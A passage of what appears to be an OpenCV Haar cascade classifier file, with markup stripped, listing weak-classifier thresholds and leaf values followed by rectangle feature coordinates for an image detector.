+ + + -5.9748911857604980e-01 2.1480310708284378e-02 + + + <_> + + 0 -1 885 -1.2095630168914795e-02 + + + 1.3269039988517761e-01 -9.9722720682621002e-02 + + + <_> + + 0 -1 886 -1.6776099801063538e-01 + + + -5.6655067205429077e-01 3.2123088836669922e-02 + + + <_> + + 0 -1 887 -1.3262550346553326e-02 + + + 1.1495590209960938e-01 -1.1738389730453491e-01 + + + <_> + + 0 -1 888 7.6744519174098969e-02 + + + -3.1413231045007706e-02 5.9935492277145386e-01 + + + <_> + + 0 -1 889 5.0785229541361332e-03 + + + -5.2911940962076187e-02 2.3342399299144745e-01 + + + <_> + + 0 -1 890 3.1800279393792152e-03 + + + -7.7734388411045074e-02 1.7652909457683563e-01 + + + <_> + + 0 -1 891 -1.7729829996824265e-03 + + + 1.9591629505157471e-01 -7.9752199351787567e-02 + + + <_> + + 0 -1 892 -4.8560940194875002e-04 + + + -2.8800371289253235e-01 4.9047119915485382e-02 + + + <_> + + 0 -1 893 3.6554320831783116e-04 + + + 6.7922897636890411e-02 -2.2499430179595947e-01 + + + <_> + + 0 -1 894 -2.6938671362586319e-04 + + + 1.6582170128822327e-01 -8.9744098484516144e-02 + + + <_> + + 0 -1 895 7.8684233129024506e-02 + + + 2.6081679388880730e-02 -5.5693739652633667e-01 + + + <_> + + 0 -1 896 -7.3774810880422592e-04 + + + 1.4036870002746582e-01 -1.1800300329923630e-01 + + + <_> + + 0 -1 897 2.3957829922437668e-02 + + + 3.0470740050077438e-02 -4.6159979701042175e-01 + + + <_> + + 0 -1 898 -1.6239080578088760e-03 + + + 2.6327079534530640e-01 -5.6765370070934296e-02 + + + <_> + + 0 -1 899 -9.0819748584181070e-04 + + + 1.5462459623813629e-01 -1.1087069660425186e-01 + + + <_> + + 0 -1 900 3.9806248969398439e-04 + + + 5.5630370974540710e-02 -2.8331959247589111e-01 + + + <_> + + 0 -1 901 2.0506449509412050e-03 + + + -9.1604836285114288e-02 1.7585539817810059e-01 + + + <_> + + 0 -1 902 2.6742549613118172e-02 + + + 6.2003031373023987e-02 -2.4487000703811646e-01 + + + <_> + + 0 -1 903 -2.1497008856385946e-03 + + + 2.9449298977851868e-01 -5.3218148648738861e-02 + + + <_> + + 0 -1 904 5.6671658530831337e-03 + + + -6.4298242330551147e-02 2.4905680119991302e-01 + + + <_> + + 0 -1 905 6.8317902332637459e-05 + + + -1.6819630563259125e-01 9.6548579633235931e-02 + + + <_> + + 0 -1 906 1.7600439605303109e-04 + + + 6.5308012068271637e-02 -2.4267880618572235e-01 + + + <_> + + 0 -1 907 4.1861608624458313e-03 + + + -9.7988583147525787e-02 1.8052889406681061e-01 + + + <_> + + 0 -1 908 -2.1808340679854155e-03 + + + 1.9231270253658295e-01 -9.4123929738998413e-02 + + + <_> + + 0 -1 909 2.1730400621891022e-02 + + + 3.5578511655330658e-02 -4.5088538527488708e-01 + + + <_> + + 0 -1 910 -1.4780269935727119e-02 + + + -4.3927010893821716e-01 3.1735591590404510e-02 + + + <_> + + 0 -1 911 -3.6145891062915325e-03 + + + 1.9811479747295380e-01 -7.7701419591903687e-02 + + + <_> + + 0 -1 912 1.8892709631472826e-03 + + + 1.9962439313530922e-02 -7.2041720151901245e-01 + + + <_> + + 0 -1 913 -1.3822480104863644e-03 + + + 9.8466947674751282e-02 -1.4881080389022827e-01 + + + <_> + + 0 -1 914 -3.9505911991000175e-03 + + + 1.1593230068683624e-01 -1.2791970372200012e-01 + + + + + <_> + 58 + -1.0129359960556030e+00 + + <_> + + 0 -1 915 -1.9395539537072182e-02 + + + 4.7474750876426697e-01 -1.1721090227365494e-01 + + + <_> + + 0 -1 916 1.3118919916450977e-02 + + + -2.5552129745483398e-01 1.6378800570964813e-01 + + + <_> + + 0 -1 917 -5.1606801571324468e-04 + + + 1.9452619552612305e-01 -1.7448890209197998e-01 + + + <_> + + 0 -1 918 -1.3184159994125366e-02 + + + 4.4181451201438904e-01 -9.0048752725124359e-02 + + + <_> + + 0 -1 919 3.4657081123441458e-03 + + + -1.3477090001106262e-01 1.8056340515613556e-01 + + + <_> + + 0 -1 920 6.2980200164020061e-03 + + + -5.4164979606866837e-02 3.6033380031585693e-01 + + + <_> + + 0 -1 921 1.6879989998415112e-03 + + + -1.9997949898242950e-01 1.2021599709987640e-01 + + + <_> + + 0 -1 922 3.6039709812030196e-04 + + + 1.0524140298366547e-01 -2.4116060137748718e-01 + + + <_> + + 0 -1 923 -1.5276849735528231e-03 + + + 2.8135529160499573e-01 -6.8964816629886627e-02 + + + <_> + + 0 -1 924 3.5033570602536201e-03 + + + -8.2519583404064178e-02 4.0713590383529663e-01 + + + <_> + + 0 -1 925 -4.7337161377072334e-03 + + + 1.9727009534835815e-01 -1.1710140109062195e-01 + + + <_> + + 0 -1 926 -1.1557149700820446e-02 + + + -5.6061112880706787e-01 6.8170957267284393e-02 + + + <_> + + 0 -1 927 -2.7445720508694649e-02 + + + 4.9718621373176575e-01 -6.2380149960517883e-02 + + + <_> + + 0 -1 928 -5.2825778722763062e-02 + + + 1.6921220719814301e-01 -1.3093550503253937e-01 + + + <_> + + 0 -1 929 -2.9849699139595032e-01 + + + -6.4649671316146851e-01 4.0076818317174911e-02 + + + <_> + + 0 -1 930 -2.6307269581593573e-04 + + + 2.5127941370010376e-01 -8.9494839310646057e-02 + + + <_> + + 0 -1 931 2.3261709429789335e-04 + + + -8.6843989789485931e-02 2.3831979930400848e-01 + + + <_> + + 0 -1 932 2.3631360090803355e-04 + + + 1.1554460227489471e-01 -1.8936349451541901e-01 + + + <_> + + 0 -1 933 2.0742209162563086e-03 + + + -4.8594851046800613e-02 5.7485991716384888e-01 + + + <_> + + 0 -1 934 -7.0308889262378216e-03 + + + -5.4120808839797974e-01 4.8743750900030136e-02 + + + <_> + + 0 -1 935 8.2652270793914795e-03 + + + 2.6494519785046577e-02 -6.1728459596633911e-01 + + + <_> + + 0 -1 936 2.0042760297656059e-04 + + + -1.1768630146980286e-01 1.6333860158920288e-01 + + + <_> + + 0 -1 937 1.6470040427520871e-03 + + + -5.9954918920993805e-02 3.5179701447486877e-01 + + + <_> + + 0 -1 938 -3.5642538568936288e-04 + + + -3.4420299530029297e-01 6.4948253333568573e-02 + + + <_> + + 0 -1 939 -3.0935870483517647e-02 + + + 1.9979700446128845e-01 -9.7693696618080139e-02 + + + <_> + + 0 -1 940 -6.3578772824257612e-04 + + + -3.1481391191482544e-01 5.9425041079521179e-02 + + + <_> + + 0 -1 941 -1.1862180195748806e-02 + + + 2.0043690502643585e-01 -8.9447543025016785e-02 + + + <_> + + 0 -1 942 7.1508930996060371e-03 + + + -3.9006061851978302e-02 5.3327161073684692e-01 + + + <_> + + 0 -1 943 -2.0059191156178713e-03 + + + -2.8469720482826233e-01 7.0723608136177063e-02 + + + <_> + + 0 -1 944 3.6412389017641544e-03 + + + -1.0660319775342941e-01 2.4944800138473511e-01 + + + <_> + + 0 -1 945 -1.3467429578304291e-01 + + + 4.9910080432891846e-01 -4.0332220494747162e-02 + + + <_> + + 0 -1 946 -2.2547659464180470e-03 + + + 1.6851690411567688e-01 -1.1119280010461807e-01 + + + <_> + + 0 -1 947 4.3842289596796036e-03 + + + 8.6139492690563202e-02 -2.7431771159172058e-01 + + + <_> + + 0 -1 948 -7.3361168615520000e-03 + + + 2.4875210225582123e-01 -9.5919162034988403e-02 + + + <_> + + 0 -1 949 6.4666912658140063e-04 + + + 6.7431576550006866e-02 -3.3754080533981323e-01 + + + <_> + + 0 -1 950 2.2983769304119051e-04 + + + -8.3903051912784576e-02 2.4584099650382996e-01 + + + <_> + + 0 -1 951 6.7039071582257748e-03 + + + 2.9079329222440720e-02 -6.9055938720703125e-01 + + + <_> + + 0 -1 952 5.0734888645820320e-05 + + + -1.5696719288825989e-01 1.1965429782867432e-01 + + + <_> + + 0 -1 953 -2.0335559546947479e-01 + + + -6.9506347179412842e-01 2.7507519349455833e-02 + + + <_> + + 0 -1 954 9.4939414411783218e-03 + + + -8.7449371814727783e-02 2.3968330025672913e-01 + + + <_> + + 0 -1 955 -2.4055240210145712e-03 + + + 2.1150960028171539e-01 -1.3148930668830872e-01 + + + <_> + + 0 -1 956 -1.1342419747961685e-04 + + + 1.5233789384365082e-01 -1.2725900113582611e-01 + + + <_> + + 0 -1 957 1.4992210082709789e-02 + + + -3.4127969294786453e-02 5.0624072551727295e-01 + + + <_> + + 0 -1 958 7.4068200774490833e-04 + + + 4.8764750361442566e-02 -4.0225321054458618e-01 + + + <_> + + 0 -1 959 -4.2459447868168354e-03 + + + 2.1554760634899139e-01 -8.7126992642879486e-02 + + + <_> + + 0 -1 960 6.8655109498649836e-04 + + + -7.5418718159198761e-02 2.6405909657478333e-01 + + + <_> + + 0 -1 961 -1.6751460731029510e-02 + + + -6.7729032039642334e-01 3.2918728888034821e-02 + + + <_> + + 0 -1 962 -2.6301678735762835e-04 + + + 2.2725869715213776e-01 -9.0534873306751251e-02 + + + <_> + + 0 -1 963 4.3398610432632267e-04 + + + 5.5894378572702408e-02 -3.5592669248580933e-01 + + + <_> + + 0 -1 964 -2.0150149241089821e-02 + + + 1.9162760674953461e-01 -9.4929970800876617e-02 + + + <_> + + 0 -1 965 -1.4452129602432251e-02 + + + -6.8510341644287109e-01 2.5422170758247375e-02 + + + <_> + + 0 -1 966 -2.1149739623069763e-02 + + + 3.7533190846443176e-01 -5.1496580243110657e-02 + + + <_> + + 0 -1 967 2.1137770265340805e-02 + + + 2.9083080589771271e-02 -8.9430367946624756e-01 + + + <_> + + 0 -1 968 1.1524349683895707e-03 + + + -6.9694936275482178e-02 2.7299800515174866e-01 + + + <_> + + 0 -1 969 -1.9070580310653895e-04 + + + 1.8228119611740112e-01 -9.8367072641849518e-02 + + + <_> + + 0 -1 970 -3.6349631845951080e-02 + + + -8.3693099021911621e-01 2.5055760517716408e-02 + + + <_> + + 0 -1 971 -9.0632075443863869e-03 + + + 4.1463500261306763e-01 -5.4413449019193649e-02 + + + <_> + + 0 -1 972 -2.0535490475594997e-03 + + + -1.9750310480594635e-01 1.0506899654865265e-01 + + + + + <_> + 93 + -9.7747492790222168e-01 + + <_> + + 0 -1 973 -2.2717019543051720e-02 + + + 2.4288550019264221e-01 -1.4745520055294037e-01 + + + <_> + + 0 -1 974 2.5505950674414635e-02 + + + -2.8551739454269409e-01 1.0837209969758987e-01 + + + <_> + + 0 -1 975 -2.6640091091394424e-03 + + + 2.9275730252265930e-01 -1.0372710227966309e-01 + + + <_> + + 0 -1 976 -3.8115289062261581e-03 + + + 2.1426899731159210e-01 -1.3811139762401581e-01 + + + <_> + + 0 -1 977 -1.6732690855860710e-02 + + + 2.6550260186195374e-01 -4.3911330401897430e-02 + + + <_> + + 0 -1 978 4.9277010839432478e-04 + + + 2.1104559302330017e-02 -4.2971360683441162e-01 + + + <_> + + 0 -1 979 -3.6691110581159592e-02 + + + 5.3992420434951782e-01 -4.3648801743984222e-02 + + + <_> + + 0 -1 980 1.2615970335900784e-03 + + + -1.2933869659900665e-01 1.6638770699501038e-01 + + + <_> + + 0 -1 981 -8.4106856957077980e-03 + + + -9.4698411226272583e-01 2.1465849131345749e-02 + + + <_> + + 0 -1 982 6.4902722835540771e-02 + + + -7.1727760136127472e-02 2.6613479852676392e-01 + + + <_> + + 0 -1 983 3.0305000022053719e-02 + + + -8.2782492041587830e-02 2.7694320678710938e-01 + + + <_> + + 0 -1 984 2.5875340215861797e-03 + + + -1.2966169416904449e-01 1.7756630480289459e-01 + + + <_> + + 0 -1 985 -7.0240451022982597e-03 + + + -6.4243179559707642e-01 3.9943210780620575e-02 + + + <_> + + 0 -1 986 -1.0099769569933414e-03 + + + 1.4176610112190247e-01 -1.1659970134496689e-01 + + + <_> + + 0 -1 987 -4.1179071558872238e-05 + + + 1.5687669813632965e-01 -1.1127340048551559e-01 + + + <_> + + 0 -1 988 -4.7293151146732271e-04 + + + -3.3554559946060181e-01 4.5977730304002762e-02 + + + <_> + + 0 -1 989 -1.7178079579025507e-03 + + + 1.6952909529209137e-01 -1.0578069835901260e-01 + + + <_> + + 0 -1 990 -1.3333169743418694e-02 + + + -5.8257812261581421e-01 3.0978430062532425e-02 + + + <_> + + 0 -1 991 -1.8783430568873882e-03 + + + 1.4266879856586456e-01 -1.1131259799003601e-01 + + + <_> + + 0 -1 992 -6.5765981562435627e-03 + + + 2.7561360597610474e-01 -5.3100328892469406e-02 + + + <_> + + 0 -1 993 -7.7210381277836859e-05 + + + 1.3240240514278412e-01 -1.1167799681425095e-01 + + + <_> + + 0 -1 994 2.1968539804220200e-02 + + + -2.6968160644173622e-02 5.0067168474197388e-01 + + + <_> + + 0 -1 995 -2.7445750311017036e-02 + + + -2.4086740612983704e-01 6.0478270053863525e-02 + + + <_> + + 0 -1 996 7.8305849456228316e-05 + + + -1.3334889709949493e-01 1.0123469680547714e-01 + + + <_> + + 0 -1 997 7.0190683007240295e-02 + + + -5.4863780736923218e-02 2.4809940159320831e-01 + + + <_> + + 0 -1 998 -7.1902133524417877e-02 + + + -3.7846690416336060e-01 4.2210999876260757e-02 + + + <_> + + 0 -1 999 -1.0780979692935944e-01 + + + -3.7486588954925537e-01 4.2833440005779266e-02 + + + <_> + + 0 -1 1000 1.4364200178533792e-03 + + + 8.0476358532905579e-02 -1.7263789474964142e-01 + + + <_> + + 0 -1 1001 6.8289190530776978e-02 + + + -3.5595789551734924e-02 4.0761318802833557e-01 + + + <_> + + 0 -1 1002 -6.8037179298698902e-03 + + + 1.9233790040016174e-01 -8.2368023693561554e-02 + + + <_> + + 0 -1 1003 -5.6193489581346512e-04 + + + 1.3057120144367218e-01 -1.4355149865150452e-01 + + + <_> + + 0 -1 1004 -5.8276649564504623e-02 + + + -3.0125439167022705e-01 5.2819650620222092e-02 + + + <_> + + 0 -1 1005 -6.1205718666315079e-03 + + + 2.2043900191783905e-01 -7.5691752135753632e-02 + + + <_> + + 0 -1 1006 -1.3594309799373150e-02 + + + -3.9049360156059265e-01 4.1857108473777771e-02 + + + <_> + + 0 -1 1007 1.3626200379803777e-03 + + + -9.5363423228263855e-02 1.4970320463180542e-01 + + + <_> + + 0 -1 1008 -1.5074219845701009e-04 + + + -2.3945580422878265e-01 6.4798332750797272e-02 + + + <_> + + 0 -1 1009 -7.7414259314537048e-02 + + + 5.5941981077194214e-01 -2.4516880512237549e-02 + + + <_> + + 0 -1 1010 9.2117872554808855e-04 + + + 5.4928861558437347e-02 -2.7934810519218445e-01 + + + <_> + + 0 -1 1011 1.0250780032947659e-03 + + + -6.2167309224605560e-02 2.4976369738578796e-01 + + + <_> + + 0 -1 1012 -8.1174750812351704e-04 + + + 2.3437939584255219e-01 -6.5725810825824738e-02 + + + <_> + + 0 -1 1013 8.3431020379066467e-02 + + + 5.0954800099134445e-02 -3.1020981073379517e-01 + + + <_> + + 0 -1 1014 -9.2014456167817116e-03 + + + -3.9242538809776306e-01 3.2926950603723526e-02 + + + <_> + + 0 -1 1015 -2.9086650465615094e-04 + + + -3.1039750576019287e-01 4.9711819738149643e-02 + + + <_> + + 0 -1 1016 7.7576898038387299e-03 + + + -4.4040750712156296e-02 3.6431351304054260e-01 + + + <_> + + 0 -1 1017 -1.2466090172529221e-01 + + + -8.1957077980041504e-01 1.9150640815496445e-02 + + + <_> + + 0 -1 1018 1.3242550194263458e-02 + + + 3.8988839834928513e-02 -3.3230680227279663e-01 + + + <_> + + 0 -1 1019 -6.6770128905773163e-03 + + + -3.5790139436721802e-01 4.0460210293531418e-02 + + + <_> + + 0 -1 1020 -2.7479929849505424e-03 + + + 2.5253900885581970e-01 -5.6427821516990662e-02 + + + <_> + + 0 -1 1021 8.2659651525318623e-04 + + + -7.1988657116889954e-02 2.2780479490756989e-01 + + + <_> + + 0 -1 1022 -5.0153400748968124e-02 + + + -6.3036471605300903e-01 2.7462050318717957e-02 + + + <_> + + 0 -1 1023 7.4203149415552616e-03 + + + -6.6610716283321381e-02 2.7787339687347412e-01 + + + <_> + + 0 -1 1024 -6.7951780511066318e-04 + + + -3.6327061057090759e-01 4.2795430868864059e-02 + + + <_> + + 0 -1 1025 -1.9305750029161572e-03 + + + 1.4196230471134186e-01 -1.0759980231523514e-01 + + + <_> + + 0 -1 1026 -3.8132671033963561e-04 + + + 2.1591760218143463e-01 -7.0202663540840149e-02 + + + <_> + + 0 -1 1027 -7.0990346372127533e-02 + + + 4.5266601443290710e-01 -4.0750481188297272e-02 + + + <_> + + 0 -1 1028 -5.3368080407381058e-02 + + + -6.7674058675765991e-01 1.9288340583443642e-02 + + + <_> + + 0 -1 1029 -2.0064849406480789e-02 + + + -4.3365430831909180e-01 3.1853288412094116e-02 + + + <_> + + 0 -1 1030 1.1976360110566020e-03 + + + -2.6559870690107346e-02 5.0797182321548462e-01 + + + <_> + + 0 -1 1031 -2.2697300300933421e-04 + + + 1.8012599647045135e-01 -8.3606548607349396e-02 + + + <_> + + 0 -1 1032 1.5262699685990810e-02 + + + -2.0238929986953735e-01 6.7422017455101013e-02 + + + <_> + + 0 -1 1033 -2.0811769366264343e-01 + + + 6.6943860054016113e-01 -2.2452110424637794e-02 + + + <_> + + 0 -1 1034 1.5514369588345289e-03 + + + -7.5121842324733734e-02 1.7326919734477997e-01 + + + <_> + + 0 -1 1035 -5.2924010902643204e-02 + + + 2.4992519617080688e-01 -6.2879167497158051e-02 + + + <_> + + 0 -1 1036 -2.1648850291967392e-02 + + + -2.9194280505180359e-01 5.2614491432905197e-02 + + + <_> + + 0 -1 1037 -2.2905069636180997e-04 + + + -2.2117300331592560e-01 6.3168339431285858e-02 + + + <_> + + 0 -1 1038 5.0170070608146489e-05 + + + -1.1510709673166275e-01 1.1611440032720566e-01 + + + <_> + + 0 -1 1039 -1.6416069411206990e-04 + + + 1.5871520340442657e-01 -8.2600601017475128e-02 + + + <_> + + 0 -1 1040 -1.2003289535641670e-02 + + + 1.2218090146780014e-01 -1.1229699850082397e-01 + + + <_> + + 0 -1 1041 -1.7784100025892258e-02 + + + -3.5072788596153259e-01 3.1341921538114548e-02 + + + <_> + + 0 -1 1042 -6.3457582145929337e-03 + + + 1.3078069686889648e-01 -1.0574410110712051e-01 + + + <_> + + 0 -1 1043 -7.9523242311552167e-04 + + + 1.7204670608043671e-01 -8.6001992225646973e-02 + + + <_> + + 0 -1 1044 -3.1029590172693133e-04 + + + -2.8433170914649963e-01 5.1817119121551514e-02 + + + <_> + + 0 -1 1045 -1.7053710296750069e-02 + + + 3.9242428541183472e-01 -4.0143270045518875e-02 + + + <_> + + 0 -1 1046 4.6504959464073181e-03 + + + -3.1837560236454010e-02 4.1237699985504150e-01 + + + <_> + + 0 -1 1047 -1.0358760133385658e-02 + + + -5.6993198394775391e-01 2.9248379170894623e-02 + + + <_> + + 0 -1 1048 -2.2196240723133087e-02 + + + -4.5605289936065674e-01 2.6285989210009575e-02 + + + <_> + + 0 -1 1049 -7.0536029525101185e-03 + + + 1.5998320281505585e-01 -9.1594859957695007e-02 + + + <_> + + 0 -1 1050 -5.7094299700111151e-04 + + + -1.4076329767704010e-01 1.0287419706583023e-01 + + + <_> + + 0 -1 1051 -2.2152599412947893e-03 + + + 1.6593599319458008e-01 -8.5273988544940948e-02 + + + <_> + + 0 -1 1052 -2.8084890916943550e-02 + + + 2.7022340893745422e-01 -5.5873811244964600e-02 + + + <_> + + 0 -1 1053 2.1515151020139456e-03 + + + 4.2472891509532928e-02 -3.2005849480628967e-01 + + + <_> + + 0 -1 1054 -2.9733829433098435e-04 + + + 1.6177169978618622e-01 -8.5115589201450348e-02 + + + <_> + + 0 -1 1055 -1.6694780439138412e-02 + + + -4.2858770489692688e-01 3.0541609972715378e-02 + + + <_> + + 0 -1 1056 1.1982990056276321e-01 + + + -1.6277290880680084e-02 7.9846781492233276e-01 + + + <_> + + 0 -1 1057 -3.5499420482665300e-04 + + + 1.5935939550399780e-01 -8.3272881805896759e-02 + + + <_> + + 0 -1 1058 -1.8226269632577896e-02 + + + 1.9527280330657959e-01 -7.3939889669418335e-02 + + + <_> + + 0 -1 1059 -4.0238600922748446e-04 + + + 7.9101808369159698e-02 -2.0806129276752472e-01 + + + <_> + + 0 -1 1060 4.0892060496844351e-04 + + + 1.0036630183458328e-01 -1.5128210186958313e-01 + + + <_> + + 0 -1 1061 9.5368112670257688e-04 + + + -7.3011666536331177e-02 2.1752020716667175e-01 + + + <_> + + 0 -1 1062 4.3081799149513245e-01 + + + -2.7450699359178543e-02 5.7061582803726196e-01 + + + <_> + + 0 -1 1063 5.3564831614494324e-04 + + + 1.1587540060281754e-01 -1.2790560722351074e-01 + + + <_> + + 0 -1 1064 2.4430730263702571e-05 + + + -1.6816629469394684e-01 8.0449983477592468e-02 + + + <_> + + 0 -1 1065 -5.5345650762319565e-02 + + + 4.5338949561119080e-01 -3.1222779303789139e-02 + + + + + + + <_> + + <_> + 0 8 20 12 -1. + + <_> + 0 14 20 6 2. + + + + <_> + + <_> + 9 1 4 15 -1. + + <_> + 9 6 4 5 3. + + + + <_> + + <_> + 6 10 9 2 -1. + + <_> + 9 10 3 2 3. + + + + <_> + + <_> + 7 0 10 9 -1. + + <_> + 7 3 10 3 3. + + + + <_> + + <_> + 12 2 2 18 -1. + + <_> + 12 8 2 6 3. + + + + <_> + + <_> + 8 6 8 6 -1. + + <_> + 8 9 8 3 2. + + + + <_> + + <_> + 2 0 17 18 -1. + + <_> + 2 6 17 6 3. + + + + <_> + + <_> + 10 10 1 8 -1. + + <_> + 10 14 1 4 2. + + + + <_> + + <_> + 7 10 9 2 -1. + + <_> + 10 10 3 2 3. + + + + <_> + + <_> + 5 1 6 6 -1. + + <_> + 5 3 6 2 3. + + + + <_> + + <_> + 3 1 15 9 -1. + + <_> + 3 4 15 3 3. + + + + <_> + + <_> + 6 3 9 6 -1. + + <_> + 6 5 9 2 3. + + + + <_> + + <_> + 8 17 6 3 -1. + + <_> + 10 17 2 3 3. + + + + <_> + + <_> + 9 10 9 1 -1. + + <_> + 12 10 3 1 3. + + + + <_> + + <_> + 1 7 6 11 -1. + + <_> + 3 7 2 11 3. + + + + <_> + + <_> + 9 18 3 1 -1. + + <_> + 10 18 1 1 3. + + + + <_> + + <_> + 16 16 1 2 -1. + + <_> + 16 17 1 1 2. + + + + <_> + + <_> + 9 17 6 3 -1. + + <_> + 11 17 2 3 3. + + + + <_> + + <_> + 8 0 5 18 -1. + + <_> + 8 6 5 6 3. + + + + <_> + + <_> + 6 7 9 7 -1. + + <_> + 9 7 3 7 3. + + + + <_> + + <_> + 14 6 6 10 -1. + + <_> + 16 6 2 10 3. + + + + <_> + + <_> + 9 8 9 5 -1. + + <_> + 12 8 3 5 3. + + + + <_> + + <_> + 3 7 9 6 -1. + + <_> + 6 7 3 6 3. + + + + <_> + + <_> + 1 7 6 6 -1. + + <_> + 3 7 2 6 3. + + + + <_> + + <_> + 16 0 4 18 -1. + + <_> + 16 6 4 6 3. + + + + <_> + + <_> + 0 17 3 3 -1. + + <_> + 0 18 3 1 3. + + + + <_> + + <_> + 16 0 2 1 -1. + + <_> + 17 0 1 1 2. + + + + <_> + + <_> + 0 8 20 12 -1. + + <_> + 0 14 20 6 2. + + + + <_> + + <_> + 6 6 9 8 -1. + + <_> + 9 6 3 8 3. + + + + <_> + + <_> + 5 3 12 9 -1. + + <_> + 5 6 12 3 3. + + + + <_> + + <_> + 4 16 1 2 -1. + + <_> + 4 17 1 1 2. + + + + <_> + + <_> + 18 10 2 1 -1. + + <_> + 19 10 1 1 2. + + + + <_> + + <_> + 9 8 6 5 -1. + + <_> + 11 8 2 5 3. + + + + <_> + + <_> + 0 0 2 1 -1. + + <_> + 1 0 1 1 2. + + + + <_> + + <_> + 6 8 6 6 -1. + + <_> + 8 8 2 6 3. + + + + <_> + + <_> + 11 7 6 7 -1. + + <_> + 13 7 2 7 3. + + + + <_> + + <_> + 19 14 1 2 -1. + + <_> + 19 15 1 1 2. + + + + <_> + + <_> + 6 17 1 2 -1. + + <_> + 6 18 1 1 2. + + + + <_> + + <_> + 14 7 2 7 -1. + + <_> + 15 7 1 7 2. + + + + <_> + + <_> + 6 8 2 4 -1. + + <_> + 7 8 1 4 2. + + + + <_> + + <_> + 5 8 12 6 -1. + + <_> + 5 10 12 2 3. + + + + <_> + + <_> + 2 17 1 3 -1. + + <_> + 2 18 1 1 3. + + + + <_> + + <_> + 6 7 3 6 -1. + + <_> + 7 7 1 6 3. + + + + <_> + + <_> + 6 7 9 12 -1. + + <_> + 9 7 3 12 3. + + + + <_> + + <_> + 6 2 11 12 -1. + + <_> + 6 6 11 4 3. + + + + <_> + + <_> + 1 12 5 8 -1. + + <_> + 1 16 5 4 2. + + + + <_> + + <_> + 14 7 6 7 -1. + + <_> + 16 7 2 7 3. + + + + <_> + + <_> + 10 8 6 6 -1. + + <_> + 12 8 2 6 3. + + + + <_> + + <_> + 16 18 4 2 -1. + + <_> + 16 19 4 1 2. + + + + <_> + + <_> + 18 17 2 3 -1. + + <_> + 18 18 2 1 3. + + + + <_> + + <_> + 9 7 3 7 -1. + + <_> + 10 7 1 7 3. + + + + <_> + + <_> + 5 6 6 8 -1. + + <_> + 7 6 2 8 3. + + + + <_> + + <_> + 2 6 6 11 -1. + + <_> + 4 6 2 11 3. + + + + <_> + + <_> + 8 10 12 8 -1. + + <_> + 8 14 12 4 2. + + + + <_> + + <_> + 7 17 6 3 -1. + + <_> + 9 17 2 3 3. + + + + <_> + + <_> + 10 9 3 3 -1. + + <_> + 11 9 1 3 3. + + + + <_> + + <_> + 8 8 3 6 -1. + + <_> + 9 8 1 6 3. + + + + <_> + + <_> + 7 0 6 5 -1. + + <_> + 9 0 2 5 3. + + + + <_> + + <_> + 6 17 1 3 -1. + + <_> + 6 18 1 1 3. + + + + <_> + + <_> + 0 18 4 2 -1. + + <_> + 0 19 4 1 2. + + + + <_> + + <_> + 4 1 11 9 -1. + + <_> + 4 4 11 3 3. + + + + <_> + + <_> + 3 1 14 9 -1. + + <_> + 3 4 14 3 3. + + + + <_> + + <_> + 0 9 6 4 -1. + + <_> + 2 9 2 4 3. + + + + <_> + + <_> + 18 13 1 2 -1. + + <_> + 18 14 1 1 2. + + + + <_> + + <_> + 13 5 3 11 -1. + + <_> + 14 5 1 11 3. + + + + <_> + + <_> + 0 18 8 2 -1. + + <_> + 0 18 4 1 2. + + <_> + 4 19 4 1 2. + + + + <_> + + <_> + 5 8 12 5 -1. + + <_> + 9 8 4 5 3. + + + + <_> + + <_> + 4 7 11 10 -1. + + <_> + 4 12 11 5 2. + + + + <_> + + <_> + 14 9 6 4 -1. + + <_> + 16 9 2 4 3. + + + + <_> + + <_> + 0 7 6 8 -1. + + <_> + 3 7 3 8 2. + + + + <_> + + <_> + 0 16 3 3 -1. + + <_> + 0 17 3 1 3. + + + + <_> + + <_> + 7 11 12 1 -1. + + <_> + 11 11 4 1 3. + + + + <_> + + <_> + 4 8 9 4 -1. + + <_> + 7 8 3 4 3. + + + + <_> + + <_> + 5 16 6 4 -1. + + <_> + 7 16 2 4 3. + + + + <_> + + <_> + 18 17 1 3 -1. + + <_> + 18 18 1 1 3. + + + + <_> + + <_> + 18 17 1 3 -1. + + <_> + 18 18 1 1 3. + + + + <_> + + <_> + 4 9 4 10 -1. + + <_> + 4 9 2 5 2. + + <_> + 6 14 2 5 2. + + + + <_> + + <_> + 4 8 6 4 -1. + + <_> + 6 8 2 4 3. + + + + <_> + + <_> + 10 2 2 18 -1. + + <_> + 10 8 2 6 3. + + + + <_> + + <_> + 0 5 8 6 -1. + + <_> + 0 5 4 3 2. + + <_> + 4 8 4 3 2. + + + + <_> + + <_> + 6 0 6 5 -1. + + <_> + 8 0 2 5 3. + + + + <_> + + <_> + 18 0 2 14 -1. + + <_> + 18 7 2 7 2. + + + + <_> + + <_> + 8 18 4 2 -1. + + <_> + 10 18 2 2 2. + + + + <_> + + <_> + 1 17 6 3 -1. + + <_> + 1 18 6 1 3. + + + + <_> + + <_> + 11 8 3 5 -1. + + <_> + 12 8 1 5 3. + + + + <_> + + <_> + 11 8 3 4 -1. + + <_> + 12 8 1 4 3. + + + + <_> + + <_> + 11 0 6 5 -1. + + <_> + 13 0 2 5 3. + + + + <_> + + <_> + 1 7 6 7 -1. + + <_> + 3 7 2 7 3. + + + + <_> + + <_> + 0 13 1 3 -1. + + <_> + 0 14 1 1 3. + + + + <_> + + <_> + 3 2 9 6 -1. + + <_> + 3 4 9 2 3. + + + + <_> + + <_> + 8 6 9 2 -1. + + <_> + 8 7 9 1 2. + + + + <_> + + <_> + 0 14 3 6 -1. + + <_> + 0 16 3 2 3. + + + + <_> + + <_> + 1 11 6 4 -1. + + <_> + 3 11 2 4 3. + + + + <_> + + <_> + 6 9 9 3 -1. + + <_> + 9 9 3 3 3. + + + + <_> + + <_> + 6 0 9 6 -1. + + <_> + 6 2 9 2 3. + + + + <_> + + <_> + 8 5 6 6 -1. + + <_> + 8 7 6 2 3. + + + + <_> + + <_> + 1 12 2 1 -1. + + <_> + 2 12 1 1 2. + + + + <_> + + <_> + 10 10 6 2 -1. + + <_> + 12 10 2 2 3. + + + + <_> + + <_> + 13 8 6 6 -1. + + <_> + 15 8 2 6 3. + + + + <_> + + <_> + 6 16 6 4 -1. + + <_> + 8 16 2 4 3. + + + + <_> + + <_> + 8 0 9 9 -1. + + <_> + 8 3 9 3 3. + + + + <_> + + <_> + 18 17 1 3 -1. + + <_> + 18 18 1 1 3. + + + + <_> + + <_> + 18 17 1 3 -1. + + <_> + 18 18 1 1 3. + + + + <_> + + <_> + 7 10 3 3 -1. + + <_> + 8 10 1 3 3. + + + + <_> + + <_> + 9 14 2 2 -1. + + <_> + 9 14 1 1 2. + + <_> + 10 15 1 1 2. + + + + <_> + + <_> + 9 14 2 2 -1. + + <_> + 9 